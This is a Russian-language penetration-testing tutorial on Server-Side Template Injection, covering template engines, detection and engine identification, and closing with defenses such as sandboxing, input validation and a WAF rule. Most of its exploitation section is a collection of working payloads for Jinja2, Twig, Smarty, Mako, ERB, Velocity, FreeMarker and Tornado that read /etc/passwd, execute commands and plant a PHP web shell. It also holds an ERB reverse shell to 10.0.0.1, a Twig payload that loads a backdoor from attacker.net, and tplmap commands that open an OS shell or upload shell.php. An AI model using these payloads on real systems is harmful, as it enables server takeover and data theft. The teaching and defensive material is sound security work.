The book of Magnus

IT-заметки и знания

Основы пентеста. Server-Side Template Injection (SSTI)

Tags = [ SSTI, Pentest_base ]

Веб-шаблон — это HTML-документ, который служит оболочкой для динамических данных. Он содержит структуру страницы, в которую встраиваются данные из приложения.

Шаблонизатор — программное обеспечение, которое обрабатывает шаблоны и генерирует готовые HTML-страницы, подставляя в них данные. Это позволяет отделить бизнес-логику от представления.

Принцип работы шаблонизатора

Исходный код (Python/PHP/Java) + HTML-шаблон 
         Шаблонизатор
     Готовая HTML-страница

Популярные шаблонизаторы

Язык/ПлатформаШаблонизаторы
PythonJinja2, Mako, Django Templates, Tornado
PHPTwig, Smarty, Blade (Laravel), PHPTAL
JavaVelocity, FreeMarker, Thymeleaf
RubyERB, Haml, Slim, Liquid
JavaScriptHandlebars, Pug (Jade), EJS, Mustache
Gohtml/template, Pongo2

Пример использования (Jinja2)

from jinja2 import Template

# Шаблон с переменной
template = Template("Привет, {{name}}!")

# Рендеринг с данными
output = template.render(name="Александр")
print(output)  # Привет, Александр!

Что такое SSTI

Server-Side Template Injection (SSTI) — уязвимость, возникающая когда пользовательский ввод напрямую встраивается в шаблон без должной валидации, что позволяет атакующему выполнить произвольный код на сервере.

Как возникает уязвимость

Небезопасный код:

# УЯЗВИМО!
template = Template("Привет, " + user_input + "!")
output = template.render()

Безопасный код:

# БЕЗОПАСНО
template = Template("Привет, {{name}}!")
output = template.render(name=user_input)

Последствия SSTI

  • RCE (Remote Code Execution) — выполнение произвольных команд на сервере
  • Чтение конфиденциальных файлов (/etc/passwd, конфиги, исходный код)
  • Раскрытие переменных окружения (API ключи, пароли БД)
  • SSRF — атаки на внутреннюю инфраструктуру
  • Полная компрометация сервера

Контексты появления SSTI

1. Открытый текст (Plaintext Context)

# Уязвимо
template = Template(user_input)

Тест: {{7*7}} → результат 49

2. Контекст кода (Code Context)

# Уязвимо
greeting = "Привет, " + username
template = Template(greeting)

Тест:

  • usernameПривет, user01
  • username}}<script>alert(1)</script> → XSS + возможно SSTI

Обнаружение SSTI

1. Полиглоты для тестирования

Используйте специальные строки для проверки различных шаблонизаторов:

${{<%[%'"}}%\
${7*7}
{{7*7}}
{{7*'7'}}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

2. Методология обнаружения

Шаг 1: Попробуйте внедрить математическое выражение

Ввод: {{7*7}}
Ожидаемый результат при уязвимости: 49

Шаг 2: Проверьте различные синтаксисы

${7*7}          # Mako, FreeMarker
{{7*7}}         # Jinja2, Twig
<%= 7*7 %>      # ERB
#{7*7}          # Spring Framework

Шаг 3: Обратите внимание на ошибки Сообщения об ошибках часто раскрывают используемый шаблонизатор.

3. Признаки уязвимости

  • Выполнение математических операций в ответе
  • Специфические сообщения об ошибках шаблонизатора
  • Изменение структуры HTML при внедрении специальных символов
  • Наличие XSS может быть индикатором SSTI

Идентификация шаблонизатора

Дерево решений для идентификации

{{7*'7'}}
   ├── 49 → Twig
   ├── 7777777 → Jinja2
   └── Ошибка/Нет вывода → Другой движок

${7*7}
   ├── 49 → Mako, FreeMarker, Velocity
   └── Нет результата → Не использует ${} синтаксис

<%= 7*7 %>
   └── 49 → ERB (Ruby)

Специфические тесты

PayloadJinja2TwigMakoSmarty
{{7*'7'}}7777777497777777Ошибка
{{7*7}}49494949
{{'a'.toUpperCase()}}ОшибкаОшибкаAОшибка
{{config}}Объект configОшибкаОшибкаОшибка

Эксплуатация SSTI

Методология

  1. Чтение — изучите документацию шаблонизатора
  2. Исследование — найдите доступные объекты и методы
  3. Атака — используйте найденные методы для достижения цели

Python (Jinja2) - Подробно

Базовые концепции

В Python все является объектом. Каждый объект имеет класс, от которого он унаследован:

"строка".__class__  # <class 'str'>

Цепочка эксплуатации

Шаг 1: Получение базового класса

{{''.__class__}}  
# <class 'str'>

Шаг 2: Получение базовых классов (MRO - Method Resolution Order)

{{''.__class__.__mro__}}
# (<class 'str'>, <class 'object'>)

Шаг 3: Получение всех подклассов

{{''.__class__.__mro__[1].__subclasses__()}}
# Список всех доступных классов

Шаг 4: Поиск полезного класса

Найдите класс для работы с файлами или выполнения команд:

  • subprocess.Popen
  • os._wrap_close
  • warnings.catch_warnings

Практические примеры

Чтение файла:

# Найдите индекс класса file или open
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# Современный Python 3
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Выполнение команд:

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

# Через os
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

PHP (Twig)

Чтение файла:

{{"/etc/passwd"|file_excerpt(1,30)}}
{{include("wp-config.php")}}

Выполнение команд:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

# Альтернативные методы
{{['id']|filter('system')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}

Java (Velocity, FreeMarker)

Velocity:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

FreeMarker:

<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("id") }

<#assign classloader=object?api.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Payloads для популярных шаблонизаторов

Jinja2 (Python 2)

# Список классов
{{''.__class__.__mro__[2].__subclasses__()}}

# Чтение файлов
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}
{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()}}

# Запись в файл
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test.txt','w').write('pwned')}}

# Выполнение команд
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}

Jinja2 (Python 3)

# Чтение файлов
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

# Выполнение команд
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

# Через lipsum
{{lipsum.__globals__.os.popen('id').read()}}

# Через namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}

Twig (PHP)

# Чтение файлов
{{"/etc/passwd"|file_excerpt(1,30)}}
{{include("wp-config.php")}}
{{"<?php system('cat /etc/passwd'); ?>"|escape}}

# Информация о системе
{{_self}}
{{dump(app)}}

# Выполнение команд
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['id']|map('system')|join}}
{{['cat /etc/passwd']|filter('system')}}

# Обход фильтрации
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['cat${IFS}/etc/passwd']|filter('system')}}

Smarty (PHP)

# Выполнение PHP кода
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# Чтение файлов
{self::readFile('/etc/passwd')}

Mako (Python)

# Импорт модулей
${__import__('os').system('id')}

# Выполнение команд
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

# Выполнение команд
<%= system("whoami") %>
<%= `whoami` %>
<%= File.open('/etc/passwd').read %>

# Reverse shell
<%= IO.popen('nc -e /bin/sh 10.0.0.1 4242').readlines() %>

Tornado (Python)

# Доступ к модулям
{{handler.settings}}
{{handler.application.settings}}

# Выполнение команд  
{% import os %}{{os.popen("whoami").read()}}
{% import subprocess %}{{subprocess.check_output("id")}}

Инструменты автоматизации

Tplmap

Установка:

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

Основное использование:

# Базовое сканирование
python tplmap.py -u "http://target.com/page?name=test"

# POST запрос
python tplmap.py -u "http://target.com/page" --data "name=test"

# С куками
python tplmap.py -u "http://target.com/page?name=test" -c "PHPSESSID=abc123"

# Получение shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell

# Выполнение команды
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "whoami"

# Чтение файла
python tplmap.py -u "http://target.com/page?name=test" --download /etc/passwd

# Загрузка файла
python tplmap.py -u "http://target.com/page?name=test" --upload /local/shell.php /var/www/html/shell.php

SSTImap

Альтернативный инструмент с поддержкой большего количества шаблонизаторов:

git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt

# Использование
python3 sstimap.py -u "http://target.com/?name=test"
python3 sstimap.py -u "http://target.com/" --cookie "session=..." --forms

Burp Suite Extensions

  • J2EEScan — для Java шаблонизаторов
  • Backslash Powered Scanner — детектирование SSTI
  • Active Scan++ — расширенное сканирование

Защита от SSTI

1. Никогда не используйте пользовательский ввод в шаблонах

❌ НЕБЕЗОПАСНО:

template = Template(user_input)
template = Template("Hello " + user_input)

✅ БЕЗОПАСНО:

template = Template("Hello {{name}}")
output = template.render(name=user_input)

2. Используйте песочницы (Sandboxing)

Jinja2:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("Hello {{name}}")

Twig:

$twig = new Twig_Environment($loader, array(
    'sandbox' => true,
));

3. Валидация и экранирование

import re

# Whitelist допустимых символов
def sanitize_input(user_input):
    if not re.match(r'^[a-zA-Z0-9\s]+$', user_input):
        raise ValueError("Invalid input")
    return user_input

safe_input = sanitize_input(user_input)

4. Ограничение функциональности

Отключите опасные функции и фильтры:

# Jinja2
from jinja2 import Environment

env = Environment()
env.globals.clear()  # Очистить глобальные переменные
env.filters.clear()  # Очистить фильтры

5. Content Security Policy (CSP)

Добавьте заголовки CSP для ограничения выполнения JavaScript:

Content-Security-Policy: default-src 'self'; script-src 'self'

6. Регулярные обновления

  • Держите шаблонизаторы и фреймворки обновленными
  • Следите за CVE и обновлениями безопасности
  • Используйте dependabot или подобные инструменты

7. Логирование и мониторинг

import logging

# Логируйте подозрительные паттерны
suspicious_patterns = ['{{', '}}', '${', '{%', '<%']

for pattern in suspicious_patterns:
    if pattern in user_input:
        logging.warning(f"Suspicious input detected: {user_input}")

8. WAF правила

Настройте WAF для блокировки типичных SSTI паттернов:

# ModSecurity rules
SecRule ARGS "@rx (\{\{|\}\}|\$\{|<%|%>)" "id:1001,phase:2,block,msg:'SSTI Attempt'"

Дополнительные ресурсы

Практика

Чеклисты и шпаргалки

Документация шаблонизаторов


Заключение

SSTI — критическая уязвимость, которая может привести к полной компрометации сервера. Ключевые моменты:

  • Никогда не вставляйте пользовательский ввод напрямую в шаблоны
  • Используйте песочницы и валидацию
  • Регулярно обновляйте зависимости
  • Проводите аудит безопасности кода
  • Применяйте принцип наименьших привилегий

При тестировании на проникновение помните:

  • Всегда имейте письменное разрешение
  • Документируйте все находки
  • Предоставляйте рекомендации по устранению
  • Не используйте автоматические инструменты без понимания их работы